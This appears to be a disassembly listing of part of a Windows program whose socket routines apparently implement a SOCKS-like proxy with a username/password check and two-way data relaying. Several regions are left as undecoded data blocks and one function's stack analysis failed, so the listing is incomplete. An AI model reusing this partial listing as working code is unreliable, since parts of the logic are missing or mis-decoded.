		lea	ecx, [esp+52Ch+var_51C]
		push	10h
		push	ecx
		sub	edx, esi
		push	0
		add	esi, ebp
		mov	ebp, dword_50FC5C
		push	edx
		push	esi
		push	edi
		call	ebp
		mov	ebx, [esp+52Ch+arg_0]
		push	10h
		push	ebx
		push	edi
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jnz	short loc_42A782


loc_42A709:				; CODE XREF: sub_42A5F0+174j
		lea	eax, [esp+52Ch+var_50C]
		lea	ecx, [esp+52Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+540h+var_500], 0FFFFFFFFh
		mov	[esp+540h+var_504], 1
		nop
		call	near ptr 71AB2DC0h
		push	0
		push	0
		push	0
		lea	edx, [esp+538h+var_400]
		push	3FFh
		push	edx
		push	edi
		nop
		call	near ptr 71AB2D0Fh
		push	10h
		mov	esi, eax
		push	ebx
		push	0
		lea	eax, [esp+538h+var_400]
		push	esi
		push	eax
		push	0FFFFFFFFh
		call	ebp
		test	esi, esi
		jbe	short loc_42A766
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42A709


loc_42A766:				; CODE XREF: sub_42A5F0+16Fj
		mov	esi, dword_50FC88
		push	edi
		call	esi
		push	0FFFFFFFFh
		call	esi
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42A782:				; CODE XREF: sub_42A5F0+35j
					; sub_42A5F0+86j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
sub_42A5F0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A810	proc near		; CODE XREF: sub_42B2D0:loc_4013A2j

var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= byte ptr -81Ch
var_81A		= word ptr -81Ah
var_818		= dword	ptr -818h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_7E8		= dword	ptr -7E8h
var_7E4		= dword	ptr -7E4h
var_708		= byte ptr -708h
var_707		= byte ptr -707h
var_705		= dword	ptr -705h
var_604		= word ptr -604h
var_600		= dword	ptr -600h
var_5F0		= byte ptr -5F0h
var_200		= byte ptr -200h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 82Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+838h+arg_0]
		cmp	esi, 0FFFFFFFFh
		push	edi
		mov	ebp, ecx
		mov	[esp+83Ch+var_828], 0
		mov	[esp+83Ch+var_82C], 0Bh
		mov	[esp+83Ch+var_808], esi
		mov	[esp+83Ch+var_80C], 1
		jz	loc_42AACA
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		mov	ax, [ecx+ebp-2]
		cmp	ax, 1
		jnz	loc_42ABE6
		mov	edi, dword_50FC80
		lea	edx, [esp+83Ch+var_82C]
		push	edx
		push	0
		lea	eax, [esp+844h+var_80C]
		push	0
		push	eax
		push	1
		call	edi
		test	eax, eax
		jle	loc_42AC73
		lea	ecx, [esp+83Ch+var_80C]
		push	ecx
		push	esi
		call	sub_436F60
; ---------------------------------------------------------------------------
		dd 840FC085h, 3E3h, 16A066Ah, 0E890026Ah, 716892F5h, 89FFF883h
		dd 0F1C2444h, 22184h, 901D8B00h, 6A0050FCh, 24948D00h
		dd 240h, 5652026Ah, 0BC80D3FFh,	23C24h,	850F0500h, 1FEh
		dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch
		dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h
		dd 256248Ch, 0D3FF0000h, 26A006Ah, 44533468h, 0E8905600h
		dd 7168997Ah, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h
		dd 282444C7h, 0
; ---------------------------------------------------------------------------
		mov	[esp+82Ch+var_808], 7
		mov	[esp+82Ch+var_7E4], esi
		mov	[esp+82Ch+var_7E8], 1
		call	edi
		xor	eax, eax
		lea	edx, [esp+82Ch+var_5F0]
		push	eax
		mov	ecx, 20h
		lea	edi, [esp+830h+var_5F0]
		push	2
		push	edx
		push	esi
		rep stosd
		call	ebx
		cmp	byte ptr [esp+83Ch+var_600], 1
		jnz	loc_42AACA
		movsx	eax, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	ecx, [esp+840h+var_200]
		push	eax
		push	ecx
		push	esi
		call	ebx
		movsx	edx, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	eax, [esp+840h+var_600]
		push	1
		push	eax
		push	esi
		mov	[esp+edx+84Ch+var_200],	0
		call	ebx
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	edx, [esp+840h+var_100]
		push	ecx
		push	edx
		push	esi
		call	ebx
		movsx	eax, byte ptr [esp+83Ch+var_600]
		mov	ecx, [ebp-8]
		mov	[esp+eax+83Ch+var_100],	0
		mov	ecx, [ecx+4]
		add	ecx, ebp
		call	sub_4017E4
		mov	edi, eax
		lea	ecx, [esp+83Ch+var_200]


loc_42A9DB:				; CODE XREF: sub_42A810+1E9j
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_42A9FF
		test	al, al
		jz	short loc_42A9FB
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_42A9FF
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_42A9DB


loc_42A9FB:				; CODE XREF: sub_42A810+1D5j
		xor	eax, eax
		jmp	short loc_42AA04
; ---------------------------------------------------------------------------


loc_42A9FF:				; CODE XREF: sub_42A810+1D1j
					; sub_42A810+1DFj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42AA04:				; CODE XREF: sub_42A810+1EDj
		test	eax, eax
		jz	short loc_42AA61
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		lea	ecx, [ecx+ebp+15h]
		call	sub_4017E4
		lea	edi, [esp+83Ch+var_100]


loc_42AA1E:				; CODE XREF: sub_42A810+22Cj
		mov	dl, [edi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_42AA42
		test	cl, cl
		jz	short loc_42AA3E
		mov	dl, [edi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_42AA42
		add	edi, 2
		add	eax, 2
		test	cl, cl
		jnz	short loc_42AA1E


loc_42AA3E:				; CODE XREF: sub_42A810+218j
		xor	eax, eax
		jmp	short loc_42AA47
; ---------------------------------------------------------------------------


loc_42AA42:				; CODE XREF: sub_42A810+214j
					; sub_42A810+222j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42AA47:				; CODE XREF: sub_42A810+230j
		test	eax, eax
		jz	short loc_42AA61
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42AA61:				; CODE XREF: sub_42A810+1F6j
					; sub_42A810+239j
		mov	edi, dword_50FC8C
		push	0
		push	2
		push	offset dword_445330
		push	esi
		call	edi
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		call	near ptr 71AB2DC0h
		nop
		lea	edx, [esp+83Ch+var_80C]
		push	edx
		push	esi
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42AACA
		push	0
		lea	eax, [esp+840h+var_708]
		push	4
		push	eax
		push	esi
		call	ebx
		mov	eax, [esp+83Ch+var_705]
		and	eax, 0FFh
		dec	eax
		jz	short loc_42AB31
		sub	eax, 2
		jz	short loc_42AAD9
		dec	eax


loc_42AAC8:				; CODE XREF: sub_42A810+31Fj
		jnz	short loc_42AB40


loc_42AACA:				; CODE XREF: sub_42A810+32j
					; sub_42A810+154j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42AAD9:				; CODE XREF: sub_42A810+2B5j
		push	0
		lea	ecx, [esp+840h+var_600]
		push	1
		push	ecx
		push	esi
		call	ebx
		movsx	edx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	eax, [esp+840h+var_705+1]
		push	edx
		push	eax
		push	esi
		call	ebx
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		lea	edx, [esp+83Ch+var_600]
		lea	eax, [esp+83Ch+var_705+1]
		mov	byte ptr [esp+ecx+83Ch+var_705+1], 0
		mov	ecx, [ebp-8]
		push	edx
		push	eax
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_40174E
		test	al, al
		jmp	short loc_42AAC8
; ---------------------------------------------------------------------------


loc_42AB31:				; CODE XREF: sub_42A810+2B0j
		push	0
		lea	eax, [esp+840h+var_600]
		push	4
		push	eax
		push	esi
		call	ebx


loc_42AB40:				; CODE XREF: sub_42A810:loc_42AAC8j
		push	0
		lea	ecx, [esp+840h+var_604]
		push	2
		push	ecx
		push	esi
		call	ebx
		cmp	[esp+83Ch+var_707], 1
		jnz	loc_42AACA
		mov	ebx, [esp+83Ch+var_820]
		mov	dx, [esp+83Ch+var_604]
		mov	eax, [esp+83Ch+var_600]
		lea	ecx, [esp+83Ch+var_81C]
		push	10h
		push	ecx
		push	ebx
		mov	word ptr [esp+848h+var_81C], 2
		mov	[esp+848h+var_81A], dx
		mov	[esp+848h+var_818], eax
		nop
		call	near ptr 71AB406Ah
		test	eax, eax
		jnz	loc_42AACA
		push	eax
		push	4
		push	offset dword_445328
		push	esi
		call	edi
		push	0
		lea	edx, [esp+840h+var_600]
		push	4
		push	edx
		push	esi
		call	edi
		push	0
		lea	eax, [esp+840h+var_604]
		push	2
		push	eax
		push	esi
		call	edi
		mov	ecx, [ebp-8]
		push	ebx
		push	esi
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_4020C2
		push	ebx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42ABE6:				; CODE XREF: sub_42A810+47j
		cmp	ax, 2
		jnz	loc_42AC73
		mov	ebx, dword_50FC80


loc_42ABF6:				; CODE XREF: sub_42A810+461j
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		call	ebx
		lea	edx, [esp+83Ch+var_824]
		lea	eax, [esp+83Ch+var_81C]
		push	edx
		push	eax
		push	0
		lea	ecx, [esp+848h+var_600]
		push	3FFh
		push	ecx
		push	esi
		mov	[esp+854h+var_824], 10h
		call	near ptr 71AB2D0Fh
		nop
		mov	ecx, [ebp-8]
		mov	edi, eax
		lea	edx, [esp+83Ch+var_600]
		push	edi
		push	edx
		mov	edx, [ecx+4]
		lea	eax, [esp+844h+var_81C]
		push	eax
		lea	ecx, [edx+ebp-8]
		call	sub_401C1C
		test	edi, edi
		jz	short loc_42AC73
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42AC73
		lea	eax, [esp+83Ch+var_80C]
		push	eax
		push	esi
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_42ABF6


loc_42AC73:				; CODE XREF: sub_42A810+67j
					; sub_42A810+3DAj ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
sub_42A810	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42ADB0	proc near		; CODE XREF: sub_401F19j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		mov	eax, [esi+32h]
		test	eax, eax
		jz	short loc_42ADC4
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42ADC4:				; CODE XREF: sub_42ADB0+Bj
		xor	eax, eax
		mov	ax, [esi+6]
		dec	eax
		jz	short loc_42ADD6
		dec	eax
		jz	short loc_42ADF8
		mov	word ptr [esi+6], 1


loc_42ADD6:				; CODE XREF: sub_42ADB0+1Bj
		mov	eax, 1
		mov	ecx, 6


loc_42ADE0:				; CODE XREF: sub_42ADB0+52j
		push	ecx
		push	eax
		push	2
		call	near ptr 71AB3B91h
		nop
		test	eax, eax
		mov	[esi+32h], eax
		jnz	short loc_42AE04
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42ADF8:				; CODE XREF: sub_42ADB0+1Ej
		mov	eax, 2
		mov	ecx, 11h
		jmp	short loc_42ADE0
; ---------------------------------------------------------------------------


loc_42AE04:				; CODE XREF: sub_42ADB0+3Fj
		mov	ax, [esi+4]
		mov	[esp+14h+var_10], 2
		push	eax
		mov	[esp+18h+var_C], 0
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esi+32h]
		lea	ecx, [esp+14h+var_10]
		push	10h
		push	ecx
		push	edx
		mov	[esp+20h+var_E], ax
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_42AE49
		mov	eax, [esi+32h]
		push	eax
		nop
		call	near ptr 71AB9639h
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42AE49:				; CODE XREF: sub_42ADB0+86j
		cmp	word ptr [esi+6], 1
		jnz	short loc_42AE71
		mov	ecx, [esi+32h]
		push	3
		push	ecx
		call	near ptr 71AB88D3h
		nop
		test	eax, eax
		jz	short loc_42AE71
		mov	edx, [esi+32h]
		push	edx
		nop
		call	near ptr 71AB9639h
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42AE71:				; CODE XREF: sub_42ADB0+9Ej
					; sub_42ADB0+AEj
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn
sub_42ADB0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42AEC0	proc near		; CODE XREF: sub_401DBBj

var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_42AEC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	[ebp+var_10], esp
		mov	ax, [edi+6]
		cmp	ax, 1
		jnz	short loc_42AF5A
		mov	eax, [edi+32h]
		mov	[ebp+var_14], 10h
		test	eax, eax
		jz	short loc_42AF41
		mov	ebx, dword_50FC84
		lea	ecx, [ebp+var_14]
		lea	edx, [ebp+var_24]
		push	ecx
		push	edx
		push	eax
		call	ebx
		mov	esi, eax
		test	esi, esi
		jnz	short loc_42AF26


loc_42AF12:				; CODE XREF: sub_42AEC0+64j
		mov	edx, [edi+32h]
		lea	eax, [ebp+var_14]
		lea	ecx, [ebp+var_24]
		push	eax
		push	ecx
		push	edx
		call	ebx
		mov	esi, eax
		test	esi, esi
		jz	short loc_42AF12


loc_42AF26:				; CODE XREF: sub_42AEC0+50j
		mov	eax, [edi]
		push	esi
		mov	ecx, edi
		mov	[ebp+var_4], 0
		call	dword ptr [eax]
		push	esi
		mov	bl, al
		nop
		call	near ptr 71AB9639h
		test	bl, bl
		jnz	short loc_42AF7A


loc_42AF41:				; CODE XREF: sub_42AEC0+39j
					; sub_42AEC0+9Ej ...
		xor	al, al
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42AF54:				; DATA XREF: ___:00441F74o
		mov	eax, offset loc_42AF41
		retn
; ---------------------------------------------------------------------------


loc_42AF5A:				; CODE XREF: sub_42AEC0+2Bj
		cmp	ax, 2
		jnz	short loc_42AF41
		mov	eax, [edi+32h]
		mov	edx, [edi]
		push	eax
		mov	ecx, edi
		call	dword ptr [edx]
		mov	ecx, [edi+32h]
		mov	bl, al
		push	ecx
		nop
		call	near ptr 71AB9639h
		test	bl, bl
		jz	short loc_42AF41


loc_42AF7A:				; CODE XREF: sub_42AEC0+7Fj
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42AEC0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42AFD0:				; CODE XREF: ___:00401F78j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_43BB90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		mov	[ebp-10h], esp
		mov	dword ptr [ebp-4], 0
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	eax, [ecx+esi+32h]
		add	ecx, esi
		push	eax
		mov	edx, [ecx]
		call	dword ptr [edx]
		mov	ecx, [esi]
		mov	edx, [ecx+4]
		mov	eax, [edx+esi+32h]
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42B019:				; DATA XREF: ___:loc_42B031o
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	eax, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_42B031:				; DATA XREF: ___:00441FD4o
		mov	eax, offset loc_42B019
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B060	proc near		; CODE XREF: sub_401C17j

var_19C		= byte ptr -19Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_42B060
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 194h
		lea	eax, [esp+1A0h+var_19C]
		mov	[esp+1A0h+var_4], 1
		push	eax
		push	2
		call	near ptr 71AB664Dh
		nop
		test	eax, eax
		jz	short loc_42B0D7


loc_42B097:				; CODE XREF: ___:0042B166j
		lea	ecx, [esp+1A0h+arg_4]
		mov	byte ptr [esp+1A0h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1A0h+arg_1C]
		mov	[esp+1A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1A0h+var_C]
		mov	large fs:0, ecx
		add	esp, 1A0h
		retn
; ---------------------------------------------------------------------------


loc_42B0D7:				; CODE XREF: sub_42B060+35j
		push	42h
		call	sub_4367FA
sub_42B060	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+0], eax
		test	eax, eax
		mov	byte ptr [esp+19Ch], 2
		jz	short loc_42B0FC
		push	1
		mov	ecx, eax
		call	sub_4014E7
		jmp	short loc_42B0FE
; ---------------------------------------------------------------------------


loc_42B0FC:				; CODE XREF: ___:0042B0EFj
		xor	eax, eax


loc_42B0FE:				; CODE XREF: ___:0042B0FAj
		mov	dword_50E3C8, eax
		mov	ecx, [eax]
		mov	byte ptr [esp+19Ch], 1
		mov	edx, [ecx+4]
		mov	cx, [esp+1A4h]
		mov	[edx+eax+4], cx
		mov	eax, dword_50E3C8
		lea	edx, [esp+1A8h]
		mov	ecx, [eax]
		push	edx
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+8]
		call	sub_40200E
		lea	eax, [esp+1C0h]
		push	eax
		mov	eax, dword_50E3C8
		mov	ecx, [eax]
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+1Dh]
		call	sub_40200E
		mov	eax, dword_50E3C8
		mov	ecx, [eax]
		mov	ecx, [ecx+4]
		add	ecx, eax
		call	sub_401F19
		test	al, al
		jz	loc_42B097


loc_42B16C:				; CODE XREF: ___:0042B17Dj
		mov	eax, dword_50E3C8
		mov	edx, [eax]
		mov	ecx, [edx+4]
		add	ecx, eax
		call	sub_401DBB
		jmp	short loc_42B16C
; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B1D0	proc near		; CODE XREF: sub_4014E7j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		test	eax, eax
		mov	esi, ecx
		mov	[esp+8+var_4], 0
		jz	short loc_42B1F2
		lea	ecx, [esi+8]
		mov	dword ptr [esi], offset	dword_43E190
		call	sub_4014AB


loc_42B1F2:				; CODE XREF: sub_42B1D0+12j
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	dword ptr [ecx+esi], offset off_43E18C
		mov	edx, [esi]
		mov	eax, [edx+4]
		lea	ecx, [eax-8]
		mov	[eax+esi-4], ecx
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
sub_42B1D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B240	proc near		; CODE XREF: sub_4014ABj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42B240
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8]
		call	sub_401424
		lea	ecx, [esi+1Dh]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E19C
		mov	dword ptr [esi+32h], 0
		mov	word ptr [esi+6], 1
		mov	word ptr [esi+4], 0
		mov	dword ptr [esi+36h], 1000h
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42B240	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B2D0	proc near		; CODE XREF: sub_4020D1j

; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES

		sub	ecx, [ecx-4]
		jmp	loc_4013A2
sub_42B2D0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_42B2E0:				; CODE XREF: ___:00401352j
		push	0FFFFFFFFh
		push	offset loc_43BC08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		call	sub_401F82
		push	offset off_443D70
		lea	ecx, [esi+11h]
		mov	dword ptr [esp+14h], 0
		mov	dword ptr [esi], offset	off_43E1A0
		call	sub_4015D7
		mov	ecx, [esp+8]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B350	proc near		; CODE XREF: ___:00401398j sub_401F41j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4011BD
		test	[esp+4+arg_0], 1
		jz	short loc_42B368
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B368:				; CODE XREF: sub_42B350+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42B350	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B380	proc near		; CODE XREF: sub_4011BDj
		jmp	sub_40179E
sub_42B380	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B3A0	proc near		; CODE XREF: sub_40134Dj

var_10		= byte ptr -10h

		mov	eax, 1000h
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_42B42C
		mov	ebx, dword_50FC90
		mov	ebp, dword_50FC8C


loc_42B3CC:				; CODE XREF: sub_42B3A0+8Aj
		mov	edx, [esi+9Dh]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+10h]
		rep stosd
		push	eax
		mov	eax, [edx+0A5h]
		lea	ecx, [esp+14h]
		push	1000h
		push	ecx
		push	eax
		call	ebx
		test	eax, eax
		jz	short loc_42B42C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B42C
		mov	edx, [esi+9Dh]
		push	0
		push	eax
		lea	ecx, [esp+28h+var_10]
		mov	eax, [edx+0A1h]
		push	ecx
		push	eax
		call	ebp
		test	eax, eax
		jz	short loc_42B42C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B42C
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	short loc_42B3CC


loc_42B42C:				; CODE XREF: sub_42B3A0+1Ej
					; sub_42B3A0+55j ...
		mov	edx, [esi+9Dh]
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, [edx+0A1h]
		pop	ebx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B448
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42B448:				; CODE XREF: sub_42B3A0+9Fj
		add	esp, 1000h
		retn
sub_42B3A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B480	proc near		; CODE XREF: sub_401663j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42B480
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset off_443D70
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E1B0
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42B480	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B4F0	proc near		; CODE XREF: ___:004013A7j sub_401B22j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401217
		test	[esp+4+arg_0], 1
		jz	short loc_42B508
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B508:				; CODE XREF: sub_42B4F0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42B4F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B520	proc near		; CODE XREF: sub_401217j
		jmp	sub_40179E
sub_42B520	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B540	proc near		; CODE XREF: sub_40152Dj

var_50		= byte ptr -50h
var_40		= byte ptr -40h
var_30		= byte ptr -30h
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_C		= byte ptr -0Ch
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, 1014h
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+99h]
		mov	[esi+0A5h], edi
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42B70A
		mov	ebx, 1
		push	6
		push	ebx
		push	2
		call	near ptr 71AB3B91h
		nop
		cmp	eax, edi
		mov	[esi+0A5h], eax
		jnz	short loc_42B598
		mov	[esi+0A5h], edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42B598:				; CODE XREF: sub_42B540+45j
		mov	dx, [esi+3Fh]
		xor	ecx, ecx
		mov	[esp+1Ch+var_8], ecx
		push	edx
		mov	[esp+20h+var_4], ecx
		mov	word ptr [esp+20h+var_8], 2
		mov	[esp+20h], ecx
		mov	[esp+20h+arg_0], ecx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esi+43h]
		mov	[esp+20h+var_A], ax
		call	sub_4017E4
		push	eax
		call	sub_40187F
		add	esp, 4
		cmp	eax, edi
		mov	[esp+20h+var_8], eax
		jnz	short loc_42B5F2
		mov	eax, [esi+0A5h]
		push	eax
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42B5F2:				; CODE XREF: sub_42B540+98j
		mov	edx, [esi+0A5h]
		lea	ecx, [esp+20h+var_C]
		push	10h
		push	ecx
		push	edx
		call	near ptr 71AB406Ah
		nop
		cmp	eax, edi
		jnz	short loc_42B622
		mov	eax, [esi+0A5h]
		push	eax
		nop
